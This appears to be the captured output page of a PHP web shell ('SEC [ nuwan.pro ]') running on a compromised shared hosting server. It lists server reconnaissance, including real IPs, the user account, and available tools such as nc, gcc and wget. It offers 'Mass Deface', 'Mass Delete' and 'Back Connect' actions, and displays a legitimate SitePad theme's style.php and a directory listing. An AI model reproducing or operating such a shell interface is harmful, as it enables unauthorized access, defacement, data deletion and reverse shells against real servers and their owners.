SEC [ nuwan.pro ]

Linux server217.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64

LiteSpeed

198.54.115.226 | Your IP: 216.73.216.130

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ var / softaculous / sitepad / editor / site-data / themes / sitepad /

Home Upload Mass Deface Mass Delete Back Connect Info Server

Server Info

Operating System	:	Linux server217.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User / Group	:	7627[nuwazhsc] / 7590[nuwazhsc]
PHP Version	:	8.0.30
IP Server	:	198.54.115.226
Your IP	:	216.73.216.130
Storage	:	Total = 491.48 GB, Free = 222.1 GB [45%]
Domains	:	Cant read [ /etc/named.conf ]
Software	:	LiteSpeed
Disable Functions	:	All function is accessible
Useful Functions	:	gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader	:	wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON \| SSH2 : OFF \| Magic Quotes : OFF \| MySQL : ON \| MSSQL : OFF \| PostgreSQL : ON \| Oracle : OFF
Safe Mode : OFF \| Open Basedir : NONE \| Safe Mode Exec Dir : NONE \| Safe Mode Include Dir : NONE

style.php

<?php

$theme = $_GET['theme'];
$dir = dirname(dirname(dirname(dirname(dirname($_SERVER['SCRIPT_FILENAME']))))).'/sitepad-data/themes';

$file = $dir.'/'.$theme.'/style.css';

// Is the directory valid ?
if(!preg_match('/^\w+$/is', $theme) || !file_exists($dir.'/'.$theme) || empty($theme)){
	die('HACKING ATTEMPT');
}

// We are zipping if possible
if(function_exists('ob_gzhandler') && !ini_get('zlib.output_compression')){
	ob_start('ob_gzhandler');
}

// Handle the url() inside CSS files
function sitepad_css_url($matches){
	
	global $theme;
	
	$orig_url = trim($matches[1], '\'"');
	//r_print($orig_url);
	
	if(preg_match('/data\:(.*)/is', $orig_url)){
		//echo 'Skipping : '.$orig_url."\n";
		return $matches[0];
	}
	
	// If it is an external URL do not make any changes
	if(preg_match('/^http(s?):\/\//is', $orig_url)){
		return $matches[0];
	}
	
	// Relative URls
	$url = '../../../sitepad-data/themes/'.$theme.'/'.$orig_url;
	
	return 'url('.$url.')';
	
}

// Type CSS
header("Content-type: text/css; charset: UTF-8");

// Set a zero Mtime
$filetime = filemtime($file);

// Cache Control
header("Cache-Control: must-revalidate");

// Checking if the client is validating his cache and if it is current.
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && (@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) >= $filetime)) {
	
	// Client's cache IS current, so we just respond '304 Not Modified'.
	header('Last-Modified: '.gmdate('D, d M Y H:i:s', $filetime).' GMT', true, 304);
	
	return;
	
}else{
	
	// Image not cached or cache outdated, we respond '200 OK' and output the image.
	header('Last-Modified: '.gmdate('D, d M Y H:i:s', $filetime).' GMT', true, 200);
	
}

$css = file_get_contents($file);
$css = preg_replace_callback('/url$([^$]*)\)/is', 'sitepad_css_url', $css);

$data = file_get_contents(dirname(__FILE__).'/common-sitepad.css');
$data .= $css;

echo $data;

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2026-02-20 10:18:30
..	dir	-	root/root	drwxr-xr-x	2026-02-21 10:18:20
inc	dir	-	root/root	drwxr-xr-x	2026-02-20 10:18:30
template-parts	dir	-	root/root	drwxr-xr-x	2026-02-20 10:18:30
archive.php	text/x-php	1.84 KB	root/root	-rw-r--r--	2026-02-18 11:32:28
common-sitepad.css	text/x-asm	21.71 KB	root/root	-rw-r--r--	2026-02-18 11:32:28
footer.php	text/x-php	1.99 KB	root/root	-rw-r--r--	2026-02-18 11:32:28
functions.php	text/x-php	17 KB	root/root	-rw-r--r--	2026-02-18 11:32:28
header.php	text/x-php	3.95 KB	root/root	-rw-r--r--	2026-02-18 11:32:28
index.php	text/x-php	1.69 KB	root/root	-rw-r--r--	2026-02-18 11:32:28
sidebar.php	text/x-php	375 B	root/root	-rw-r--r--	2026-02-18 11:32:28
single.php	text/x-php	1.49 KB	root/root	-rw-r--r--	2026-02-18 11:32:28
style.css	text/plain	67.07 KB	root/root	-rw-r--r--	2026-02-18 11:32:28
style.php	text/x-php	1.84 KB	root/root	-rw-r--r--	2026-02-18 11:32:28